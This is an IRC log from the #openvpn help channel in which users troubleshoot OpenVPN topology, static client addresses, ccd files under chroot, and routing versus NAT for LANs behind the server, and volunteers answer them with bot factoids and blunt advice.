16:26 < pekster> I have no clue why $someProviderHere might do that -- why don't you ask them? It might help with clients with assorted MTUs that connect, but since I don't work for $yourProvider I haven't any clue in the world
16:34 < vaillor> pekster, sometime ago you suggested me a directive to avoud the subnetting that makes 4 ip assignation for each peer, 10.8.0.6, 10.8.0.10, 10.8.0.14 and so on... can you repeat it to me please? in the way of server assignates in this way: 10.8.0.2, 10.8.0.3 and so on...
16:36 < pekster> !/30
16:36 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
16:37 < vaillor> !topology
16:37 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
16:38 -!- kplong [~klong@sw.central-asia.net] has joined #openvpn
16:39 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 252 seconds]
16:40 < vaillor> ok, thank you, last problem, my vpn client ignores "ifconfig 10.8.0.2 255.255.255.0" directive
16:40 < vaillor> if i set it, it will continue to use 10.8.0.<something_else>
16:42 -!- gil_ [~gil@host86-150-209-248.range86-150.btcentralplus.com] has joined #openvpn
16:43 -!- gil [~gil@48.120.158.98.client.static.strong-in10.as13926.net] has quit [Read error: Connection reset by peer]
16:45 < pekster> Logs will tell you why
16:46 -!- gil_ [~gil@host86-150-209-248.range86-150.btcentralplus.com] has quit [Read error: Operation timed out]
16:48 -!- gil_ [~gil@48.120.158.98.client.static.strong-in10.as13926.net] has joined #openvpn
16:50 < vaillor> http://nopaste.info/9373da8389.html
16:50 < EugeneKay> How many months ahve you been failing at using openvpn now?
16:50 < EugeneKay> I know it's at least two.
16:51 < vaillor> setting up properly the vpn it's the harder thing i hever done, after understanding solid-state phisycs under bjt transistor
16:52 < pekster> And some of the greatest minds in history needed caretakers to help them with the basics of daily life; your point?
16:52 < EugeneKay> We're not getting paid to caretake ;-)
16:52 < vaillor> setting up vpn needs a lot of networking knowledges, you got them, i'm not
16:52 < EugeneKay> !101
16:52 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
16:52 < pekster> Then go buy a networking book?
16:53 < pekster> Take a course at your local community college?
16:53 < pekster> Find a LUG and spend some time learning how networking works?
16:53 -!- gil_ [~gil@48.120.158.98.client.static.strong-in10.as13926.net] has quit [Quit: Ex-Chat]
16:56 < vaillor> yes, i got "telecomunication networks" by A. Tanenbaum, but in some causes problem should be different, like in this case, ifconfig doesn't work, probably it's a tun/tap incompatibility under windows
16:56 < vaillor> so, should it not be a networking issue, but a operating system issue
16:56 < pekster> No, you're pushing an IP to it, although since you didn't use verb 4 we haven't a clue how you actually configured it
16:57 < pekster> lines 3, 8, 13, 14
16:57 < pekster> (OpenVPN is a pretty worthless tool if you can't be bothered to read some logs and troubleshoot your issues.)
16:58 -!- cerettala_laptop [~cerettala@webcom.graysonhead.net] has left #openvpn []
17:00 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
17:00 < vaillor> ok, verbose level 4: http://nopaste.info/1b723612f9.html
17:05 < pekster> Either that's not verb 4, or you skipped all the useful details
17:05 < vaillor> in the past log, it was verb 54
17:05 < vaillor> *5
17:06 < vaillor> i posted all the part after certs negotiation
17:06 < pekster> Stop doing that
17:06 < pekster> !topsecret
17:06 <@vpnHelper> "topsecret" is if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust.
17:06 < EugeneKay> Lulz.
17:07 < pekster> I don't care to help people who can't be bothered to paste what is asked, like THE ENTIRE CONFIGURATION details
17:07 < vaillor> ok, so, i'll show you both client and server config
17:07  * pekster sighs. Just the client log at verb 4 would be nice
17:07 < pekster> Which you can't seem to manage
17:07 < pekster> gl;hf
17:08 < vaillor> http://nopaste.info/e074a0e7ba.html
17:09 < vaillor> complete client log: http://nopaste.info/4a77f9f800.html
17:10 < pekster> Try reading line 8
17:10 < pekster> protip: messages with the word "WARNING" are usually important
17:10 < pekster> Learn to read them
17:12 < vaillor> ok, i use pull to set dns server
17:12 < vaillor> but i can set it directly into client
17:13 < pekster> Then what do you think happens when you push an IP to the client?
17:13 < pekster> It gets replaced
17:13 < pekster> !static
17:13 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
17:13 < pekster> Read it. Then read it again. Then figure out why that's a bad idea
17:14 < pekster> line 34 in your logs should be another dead givaway, in case the big WARNING in the logs wasn't enough
17:15 < vaillor> i removed "push "dhcp-option DNS 62.101.93.101" " from server config
17:15 < pekster> That's completely irrelevent
17:15 < vaillor> and i put "dhcp-option DNS 62.101.93.101" directly into client config
17:15 < pekster> It's the *addressing* that's the problem. Which you're pushing.
17:16 < pekster> Either don't push it, or don't define it client-side
17:16 < pekster> Pick one
17:16 < pekster> And stop asking here until you've done that; I'm not explaning it to you again
17:22 -!- master_of_master [~master_of@p4FD7B8AD.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
17:25 < vaillor> i'm trying to understand how to stop pushing addresses, i tried removing address after "server" line in server file configuration and setting up a new line with ifconfig server_address subnetmask
17:25 < vaillor> but openvpn fails with this config
17:26 -!- master_of_master [~master_of@p4FD7BB5A.dip0.t-ipconnect.de] has joined #openvpn
17:27 < EugeneKay> Go read the man page
17:27 < EugeneKay> It explains what server does
17:30 -!- p3rror [~p3rror@105.158.208.74] has quit [Quit: Leaving]
17:45 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
17:48 < vaillor> i think it's quite strange, in a real LAN, you can use a dns server that pushes addresses for each peer and at the same time you can set static ip for some host
17:50 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
17:52 < pekster> I think it's strange that you've been told how to do this and complain about it as if openvpn doesn't do it
17:57 < vaillor> pekster, i'm looking for how to stop pushing addresses
18:03 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
18:05 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:14 < dimm0k> does OpenVPN treat the underscore character differently in a common name?
18:15 < dimm0k> can't figure out why the ccd file is not being used...
18:18 < pekster> dimm0k: See the 'String Types and Remapping' section in th emanpage
18:19 < pekster> Short answer: no, the _ isn't unique. Server logs at verb 4 will tell you if it loads a ccd file
18:29 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
18:30 < dimm0k> pekster: ok, so i bumped the verb to 4 and added "ccd-exclusive" to force ccd usage
18:31 < dimm0k> i see a "TLS Auth Error: --client-config-dir authentication failed for common name 'klean_jig' file='/etc/openvpn/ccd/klean_jig'
18:35 < pekster> Is it picking up the ccd dir (the options printout at --verb 4 will list it if it is) and can the user openvpn is running as access that file?
18:40 < dimm0k> pekster: looks like the options printout does show "client_config_dir = '/etc/openvpn/ccd'
18:41 < dimm0k> the user openvpn is running as is "nobody"...  the ccd file is set to root.root 644
18:44 < dimm0k> the ccd directory is 755 so user "nobody" should have access
18:47 < vaillor> pekster, i tried also "ifconfig-pool-persist ipp.txt" but doesn't work
18:48 < vaillor> ip seems not to be static
18:54 < pekster> dimm0k: If you have sudo installed, does `sudo -u nobody cat /etc/openvpn/ccd/klean_jig` print the file?
18:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
18:55 < dimm0k> pekster: looks like it does print the file
18:56 -!- raidz is now known as raidz_away
18:59 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Read error: Connection reset by peer]
19:00 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
19:02 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 246 seconds]
19:02 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
19:02 -!- xTz is now known as Guest93305
19:05 -!- nikkiheat [~nikkiheat@71-219-23-229.slkc.qwest.net] has joined #openvpn
19:17 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 264 seconds]
19:17 < dimm0k> pekster: also changed the owner/group on the ccd to nobody, but still no go
19:18 < pekster> That should be all you need (just access to the ccd dir and the files.)
19:19 < dimm0k> any idea why it's not getting accessed though?
19:19 -!- nikkiheat [~nikkiheat@71-219-23-229.slkc.qwest.net] has quit [Ping timeout: 252 seconds]
19:19 -!- nikkiheat2 [~nikkiheat@71-219-23-229.slkc.qwest.net] has joined #openvpn
19:19 < dimm0k> could this be related? --client-config-dir authentication failed for common name 'klean_jig' file='/etc/openvpn/ccd/klean_jig'
19:20 < pekster> That just means it can't find the file and you've used --ccd-exclusive
19:20 < pekster> I can reproduce those results using 2.3.2 locally if I don't have the file listed
19:20 < pekster> As soon as I do `echo "" > $ccd_file_path` it works
19:20 < pekster> Erm, $ccd_file_path/$cn
19:21 < dimm0k> hrmm, but it's there, i swear!
19:22 < pekster> Are you perhaps using SELinux or something that could interfere with standard file permissions?
19:22 < dimm0k> nope, running this on slackware...
19:23 < ngharo> strace openvpn perhaps
19:24 < pekster> That's not a bad suggestion; you should see it attempting to fopen() the listed ccd file, and at least get a hint as to what the error code being returned is for
19:24 < pekster> At any rate, you should only ever get that error when using --ccd-exclusive when openvpn couldn't find the relevant file in $client_config_dir/$common_name
19:25 < dimm0k> right, so i've narrowed it down to openvpn not finding the proper ccd file...
19:26 < hondza> dimm0k: perhaps you have --chroot set? In that case the the path is relative to that root...
19:27 < dimm0k> hondza: i do have 'chroot /etc/openvpn/jail' set
19:27 < vaillor> !iporder
19:27 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
19:27 < dimm0k> crap, that means i need ccd inside /etc/openvpn/jail right?
19:28 < vaillor> !static
19:28 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
19:28 < hondza> dimm0k: yes
19:28 < hondza> AFAIK
19:29 < dimm0k> omfg, that was it!
19:30 < dimm0k> damn, thanks pekster, ngharo, hondza!
19:30 < hondza> :)
19:36 -!- nikkiheat [~nikkiheat@71-219-19-161.slkc.qwest.net] has joined #openvpn
19:37 -!- nikkiheat2 [~nikkiheat@71-219-23-229.slkc.qwest.net] has quit [Ping timeout: 276 seconds]
19:49 -!- jive [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has joined #openvpn
19:56 -!- nikkiheat [~nikkiheat@71-219-19-161.slkc.qwest.net] has quit [Ping timeout: 256 seconds]
20:07 < dimm0k> next issue at hand...  the connecting client can ping the server via tun0 and eth0, however the server can only ping the client via tun0 and not eth0...  any suggestions on what i'm missing?
20:27 -!- jive [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has quit [Quit: Leaving]
20:34 -!- nikkiheat [~nikkiheat@71-219-19-161.slkc.qwest.net] has joined #openvpn
20:36 -!- jive [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has joined #openvpn
20:39 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has quit [Ping timeout: 246 seconds]
20:50 -!- jive [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has quit [Quit: Leaving]
20:51 -!- CVance [~CVance@217.sub-70-196-132.myvzw.com] has quit [Quit: CVance]
20:53 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
20:56 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:00 < dimm0k> another issue...  i can't get computers behind the server lan to see the clients connected to the server...  i added "route add -net 10.8.1.0/24 gw 192.168.11.3" on a computer behind the server and i can ping the server, but not connected clients
21:02 < ngharo> enable ip forwarding on the server
21:03 < pekster> !serverlan
21:03 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
21:03 < pekster> And if that's a linux client, stop using the route commands (and stop using ifconfig and netstat. They're all deprecated piles of dying crap. If you're on a BSD-varient that actually maintained them, then carry on.)
21:03 < pekster> !ifconfig_linux
21:03 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
21:10 < dimm0k> ngharo: ip forwarding is on on the server...
21:12 < dimm0k> pekster: http://ircpimps.org/serverlan.png is broken it seems
21:13 < pekster> Yup; no mirror is available, so you'll have to use the written word instead
21:17 < dimm0k> !route_outside_openvpn
21:17 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
21:17 < dimm0k> !route
21:17 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
21:17 <@vpnHelper> behind the server or client
21:46 -!- jive [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has joined #openvpn
21:55 -!- nikkiheat [~nikkiheat@71-219-19-161.slkc.qwest.net] has quit [Quit: Nettalk6 - www.ntalk.de]
21:57 < dimm0k> pekster: so please clarify...  according to the Routing link just provided, i need to manually create a route between the server and the client's lan?
21:58 < pekster> What are you trying to do?
22:00 < dimm0k> 2 things...  i want the client's LAN to be accessible from the server's LAN
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 < dimm0k> and second, i want the computers behind the server's LAN to be able to access the connecting client
22:02 < pekster> So you need *both* !serverlan and !clientlan
22:02 < pekster> Pick one at a time to work on until you get that aspect working
22:05 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:06 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
22:07 < dimm0k> so... with !serverlan, the bottom section is telling me that the server needs a route for each connecting client's LAN
22:07 < pekster> No
22:08 < dimm0k> or am i misunderstanding it all
22:08 < pekster> Apparently
22:09 < pekster> To allow VPN clients to access resources on the server's LAN (without NAT), the server-LAN needs a route *back* to the VPN network
22:09 < pekster> If you're ultimately trying to get the client LAN to access the server-side, then you *also* need a route back to *that* network
22:09 < pekster> (that would be covered in the !clientlan though)
22:11 < dimm0k> but currently my VPN clients can ping the server's LAN...  is that enough indication that i already have a route back to the VPN network?
22:11 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
22:11 -!- jivee [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has joined #openvpn
22:11 -!- jivee [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
22:13 < pekster> That or you're doing some form of NAT
22:13 < pekster> Presumably you'd know which one of those you're doing
22:14 -!- jive [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has quit [Ping timeout: 240 seconds]
22:15 < dimm0k> hrmm, i am using NAT...
22:17 < pekster> If you controll all the RFC1918 space within your routing domain, why are you using NAT?
22:17 < pekster> And why are you surprised by your own network setup?
22:18 < dimm0k> well i'm only using NAT for VPN clients to the internal network...
22:19 < dimm0k> not really surprised, just realized i was using NAT for the vpn
22:19 < pekster> You can't have true bi-directional connectivity with NAT
22:20 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
22:22 < dimm0k> so how would one replace NAT?
22:23 < pekster> By learning to route properly
22:24 < dimm0k> hrmm...
22:25 < dimm0k> all the docs seem to use iptables and NAT...
22:29 < pekster> Dunno what "the docs" you're using are, but they sound not like the official documentation
22:29 < pekster> Learning the basics of routing would be better done in a more appropriate channel, or ideally with a good networking book or class
22:29 < itpings> hey guys
22:29 < itpings> sup
22:31 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Operation timed out]
22:32 < ngharo> dimm0k: may I suggest that you start tcpdump'ing at relevant nodes to try and grasp your situation
22:32 < ngharo> gathering and analyzing your own data is worth a thousand books in my experience
22:33 < pekster> Maybe, but if one is configuring or designing a network, doing it properly is far better than blindly doing it because some guide said so
22:33 < ngharo> as long as you understand some basics, you should be able to peice your problem together and figure out a solution
22:33 < dimm0k> pekster: is this not using NAT with iptables? http://openvpn.net/index.php/open-source/documentation/miscellaneous/88-1xhowto.html
22:33 <@vpnHelper> Title: 1xHOWTO (at openvpn.net)
22:33 < pekster> Why are you using a howto that specifically says it's designed for the 1.x series?
22:34 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
22:34 < pekster> !howto
22:34 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
22:36 < pekster> 1.6 was released almost a decade ago, and that was the last 1.x series release. It's time to move on, unless you have some really exotic need to support it
22:37 < dimm0k> pekster: lol, i was just using that link as a quick example of how it mentions using NAT...  the howto you provided also mentions the use of NAT with iptables, which is what i'm doing...
22:38 < dimm0k> specifically "iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE"
22:39 < pekster> When you're routing externally, sure
22:39 < pekster> The only valid (IMO) use of NAT is a nat-overload situation where you are routing onto the public IPv4 Internet from an unroutable (generally RFC1918) source network
22:39 < pekster> otherwise, you're either hacking around a problem best solved properly, or have a very strange situation that is (hopefully) at least partly out of your control
22:42 < dimm0k> so aside from that, then i'm not using NAT...
22:43 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Connection reset by peer]
22:44 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
22:45 < pekster> You're redirecting client's external (Internet-bound) traffic in *addition* to exposing server-side LANs?
22:45 < pekster> You either keep changing your goals, or don't really know why you've set your firewall/NAT up the way you have
22:46 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has left #openvpn []
22:50 -!- emid [~emid@192.241.201.133] has quit [Ping timeout: 248 seconds]
22:53 -!- emid [~emid@192.241.201.133] has joined #openvpn
--- Day changed Tue Jul 02 2013
00:36 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
00:37 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:52 -!- mattock_afk is now known as mattock
00:55 -!- monk [~aknm@196.14.139.96] has joined #openvpn
00:55 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
00:55 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:57 -!- Trueborn [~Trueborn@rrcs-66-91-141-34.west.biz.rr.com] has quit [Disconnected by services]
00:57 -!- JackTrueborn [~Trueborn@rrcs-66-91-141-34.west.biz.rr.com] has joined #openvpn
01:03 -!- JackTrueborn [~Trueborn@rrcs-66-91-141-34.west.biz.rr.com] has quit [Read error: Connection reset by peer]
01:06 < EugeneKay> What's this about goats
01:08 < sokmar> hmm, there's no way to set max-routes via network manager, is there?
01:08 < EugeneKay> !ubuntu
01:08 <@vpnHelper> "ubuntu" is dont use network manager!
01:08 < EugeneKay> ;-)
01:08 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:09 -!- Alina-malina [Alina-mali@37.252.65.16] has joined #openvpn
01:11 -!- iliv [~iliv@178.137.25.199] has joined #openvpn
01:24 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:55 -!- HyperGlide [~HyperGlid@182.151.165.191] has joined #openvpn
02:07 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
02:11 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:13 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
02:21 -!- jww [~jww@LPuteaux-156-14-28-187.w82-127.abo.wanadoo.fr] has quit [Quit: Lost terminal]
02:30 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:36 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
02:36 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
02:36 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:00 -!- mattock is now known as mattock_afk
03:21 < sokmar> any reason a tun client needs to consume two addresses? is it fine to ifconfig-push the server's address as the second argument?
03:21 < sokmar> (server's internal address, ie. x.x.x.1)
03:24 -!- zveda [~zveda@unaffiliated/zveda] has left #openvpn ["Ex-Chat"]
03:27 < fischli> sokmar: a tun device is by design a point-to-point device between two addresses
03:27 < sokmar> right, but is it going to be problematic if the other endpoint is x.x.x.1?
03:31 < fischli> sokmar: you mean with different subnet part? like 10.11.12.1 -> 10.22.33.1
03:33 < sokmar> no, I mean if I have a 10.0.0.0/24 vpn subnet, can I just ifconfig-push 10.0.0.x 10.0.0.1 to every client?
03:34 < fischli> sokmar: the ip of the tun device can't be part of a existing subnet. you have to use tap in this case
03:36 < sokmar> it's what openvpn is configured to use, ie. the server config file contains "server 10.0.0.0 255.255.255.0"
03:37 < sokmar> (it isn't used outside openvpn)
03:38 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:38 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
03:38 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
03:38 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:38 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
03:41 < fischli> !topology
03:41 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
03:44 -!- Guest93305 [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
03:46 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
03:46 < sokmar> I see, thanks
03:52 < xTz> I got a question
03:53 < xTz> for most of my users I need to be their default route after they connect, so push "redirect-gateway def1" works pretty well and does the job
03:53 < xTz> However, for some of them I have a situation where that's not the case
03:54 < xTz> is it possible to override, e.x. with custom configs? e.g. ccd/client1 - pushing only routers to selected networks
04:14 -!- mndo [~mndo@bl17-101-170.dsl.telepac.pt] has joined #openvpn
04:28 -!- HaxCore [~p3rror@41.250.251.159] has joined #openvpn
04:28 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
04:31 -!- HyperGlide [~HyperGlid@182.151.165.191] has quit [Remote host closed the connection]
04:32 -!- HaxCore [~p3rror@41.250.251.159] has quit [Ping timeout: 246 seconds]
04:39 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
04:51 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
04:52 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 248 seconds]
04:54 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
04:58 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
05:15 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
05:20 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
05:33 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
06:06 -!- dazo_afk is now known as dazo
06:08 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
06:22 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
06:23 -!- mattock_afk is now known as mattock
06:30 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has joined #openvpn
06:37 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
06:51 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
07:04 <@ecrist> xTz: add a ccd file called DEFAULT that pushes the default route
07:05 <@ecrist> then, for users that do not want the default route, add a blank ccd file
07:17 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
07:17 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
07:17 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:32 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
07:35 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
07:36 -!- lamba [~lamba@unaffiliated/lamba] has quit [Ping timeout: 256 seconds]
07:42 -!- lamba [~lamba@siology.net] has joined #openvpn
07:42 -!- lamba [~lamba@siology.net] has quit [Changing host]
07:42 -!- lamba [~lamba@unaffiliated/lamba] has joined #openvpn
07:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Remote host closed the connection]
07:56 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 246 seconds]
08:07 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
08:11 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
08:13 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
08:13 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
08:13 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:16 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
08:17 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
08:36 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 256 seconds]
08:44 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
08:45 -!- jive [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has joined #openvpn
08:50 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 256 seconds]
08:51 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
08:55 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has quit [Ping timeout: 276 seconds]
08:56 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 276 seconds]
08:59 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
09:16 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:18 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 246 seconds]
09:20 -!- Denial [~Denial@90.205.133.229] has joined #openvpn
09:22 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:22 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
09:23 -!- Devastator [~devas@177.18.197.77] has joined #openvpn
09:23 -!- Devastator [~devas@177.18.197.77] has quit [Changing host]
09:23 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
09:28 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Remote host closed the connection]
09:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
09:28 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
09:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:45 -!- Guest70669 [~moartr4de@168.62.170.69] has left #openvpn []
09:48 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:53 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
10:07 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
10:07 < andi> Hello
10:07 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
